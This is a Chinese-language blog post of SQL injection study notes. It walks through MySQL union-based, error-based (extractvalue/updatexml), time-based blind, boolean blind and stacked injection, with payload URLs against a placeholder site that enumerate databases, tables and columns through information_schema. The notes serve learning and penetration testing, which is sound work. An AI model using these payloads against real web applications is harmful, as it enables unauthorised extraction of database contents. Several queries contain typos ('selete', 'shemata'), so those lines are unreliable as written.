SQL注入学习笔记

文章目录[x]
  1. 1:SQL基本语句
  2. 1.1:创建数据表
  3. 1.2:删除数据表
  4. 1.3:查询数据
  5. 1.4:删除数据
  6. 1.5:添加数据
  7. 2:判断是否存在SQL注入以及闭合条件
  8. 3:几个SQL注入中常用的表
  9. 3.1:查询所有的数据库
  10. 3.2:获取当前库中所有的数据表
  11. 3.3:获取table_name数据表中所有的字段
  12. 3.4:查询database_name库中table_name表中column_name的数值:
  13. 4:联合注入
  14. 4.1:判断表中有几个字段
  15. 4.2:获取回显点
  16. 5:报错注入
  17. 5.1:extractvalue报错注入
  18. 5.2:updatexml报错注入
  19. 6:基于时间的盲注
  20. 7:布尔盲注
  21. 8:堆叠注入
  22. 9:后续待更新

SQL基本语句

创建数据表

create table table_name (id int,name char(255));

删除数据表

drop table table_name;

查询数据

selete * from database_name.table_name where column_name=value;

删除数据

delete from database_name.table_name where column_name=value;

添加数据

insert into database_name.table_name(column_name) value(value);

更新数据

update database_name.table_name set column_name=value where column_name=value;

判断是否存在SQL注入以及闭合条件

?id=1后添加' " )等常见的闭合结构,观察页面显示以及是否存在报错信息

参数后添加and '1'='1'和and '1'='2'判断页面是否正常

闭合结构后添加and '1'='1'和'1'='2'判断闭合机构是否正确

注意在payload的最后面添加注释符(--+ -- #)注释掉后面的sql语句避免干扰判断

几个SQL注入中常用的表

在MySQL 5.0之后的版本中存在一个informa_schema库,里面存储着所有的库名、表名、字段名信息,例如:information_schema.database_name.table_name/tables/columns等等

查询所有的数据库

select group_concat(schema_name) from information_schema.schemata

这里的group是为了确保若存在多个数据可以正常的显示

实例:

https://xxx.com/?id=-1' union select 1,2,(select group_concat(schemata_name)from information_schema.shemata)--+

这里的union select 1,2,···后面再提

获取当前库中所有的数据表

select group_concat(table_name) from information_schema.tables where table_schema=database();

实例:

https://xxx.com/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

获取table_name数据表中所有的字段

select group_concat(column_name) from information_schema.columns where table_name='table_name';

实例:

https://xxx.com/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='table_name')--+

查询database_name库中table_name表中column_name的数值:

select group_concat(column_name)from database_name.table_name

实例:

https://xxx.com/?id=-1' union select 1,2,(select group_concat(column_name)from database_name.table_name)--+

联合注入

select * from database_name.table_name where column)name=value union select 1,2,3,4;

因为联合语句必须要在select的最后处,所以需要在payload最后面添加注释符注释掉后面的语句

判断表中有几个字段

order by 1、2···

若order by后面的数字超出字段数,页面会显示unknown column 'x' in 'order clause',据此可以判断有几个字段。例如:

http://https://xxx.com/?id=1' order by 3--+

页面显示正常

http://https://xxx.com/?id=1' order by 4--+

页面显示Unknown column '4' in 'order clause',所以可以判断此数据表的字段数为4

获取回显点

union select 1,2,3,···

实例:

http://https://xxx.com/?id=-1' union select 1,2,3--+

这里的参数一般需要改成一个不存在的值,否则页面就会正常显示,起不到查看回显点的效果

需要注意的是有些数据是不需要显示到前端的,所以找不到某些数字很正常,不是系统出了错误

联合注入的用法和实例见 几个SQL注入中常用的表

报错注入

报错注入分为updatexml、extractvalue和floor等等,前两种都是利用xpath来带出数据

extractvalue报错注入

基本语法:

and extractvalue(0x7e,concat(0x7e,(payload)))--+

payload与联合注入的payload相似,此处不再赘述

需要注意的是xpath的报错注入返回的内容是有长度限制的,可以用limit语法或者not in语法来遍历数值

例如:

and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)))--+

and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)))--+

若单个字段的长度超过了限制,可以使用substr()函数进行绕过

用法:
substr(字符串,起始位置,截取长度),例如:

and extractvalue(1,concat(0x7e,(select concat(0x7e,substr(column_name,1,10)) from database_name.table_name limit 0,1)))--+

substr()与length()配合食用效果更佳

updatexml报错注入

updatexml与exteractvalue用法相同,此处不再赘述

基于时间的盲注

有些场景下会把回显和报错都关闭,这时候可以利用sleep()函数来判断数据是否正确
例如:

if(length(database())=4,sleep(3))--+

此语句的意思是如果数据库名的长度等于4就执行sleep(3)延迟3秒,在真实环境中建议使用二分法进行查找,节省时间

实例:

https://xxx.com/?id=-1' and if(length(database())>3,sleep(3))--+

使用此方法爆出数据库名长度后,可以使用left()函数爆出数据库名,left()函数可以返回最左边的n个字符的字符串,用法为left(字符串,长度)

例如:

id=1' and if(left(database(),1)>'m',sleep(5))--+

同样的,此处可以使用二分法来加快进度(都可以这样了还是用sqlmap吧)

实例

https://xxx.com/?id=-1' and if(left(database(),1)>'m',sleep(3))--+
https://xxx.com/?id=-1' and if(left(database(),2)>'my',sleep(3))--+

爆破表名和字段名的方法相同,不再赘述

布尔盲注

布尔盲注是判断返回页面的正确与否来判断数据是否正确,因为不用延时所以效率比起时间盲注要快上不少
布尔盲注的用法与时间盲注类似,例如:

id=1' and length(database())>4--+

实例:

https://xxx.com/?id=-1' and left(database(),5)='users'--+

堆叠注入

堆叠注入可以通过执行多条语句来进行注入,危害非常大,需要在php中开启mysqli_multi_query,所以在mysql中极其少见,这里只做介绍

例如:

id=1;select user();

实例:

https://xxx.com/?id=-1;select user();

后续待更新

点赞

发表评论

昵称和uid可以选填一个,填邮箱必填(留言回复后将会发邮件给你)
tips:输入uid可以快速获得你的昵称和头像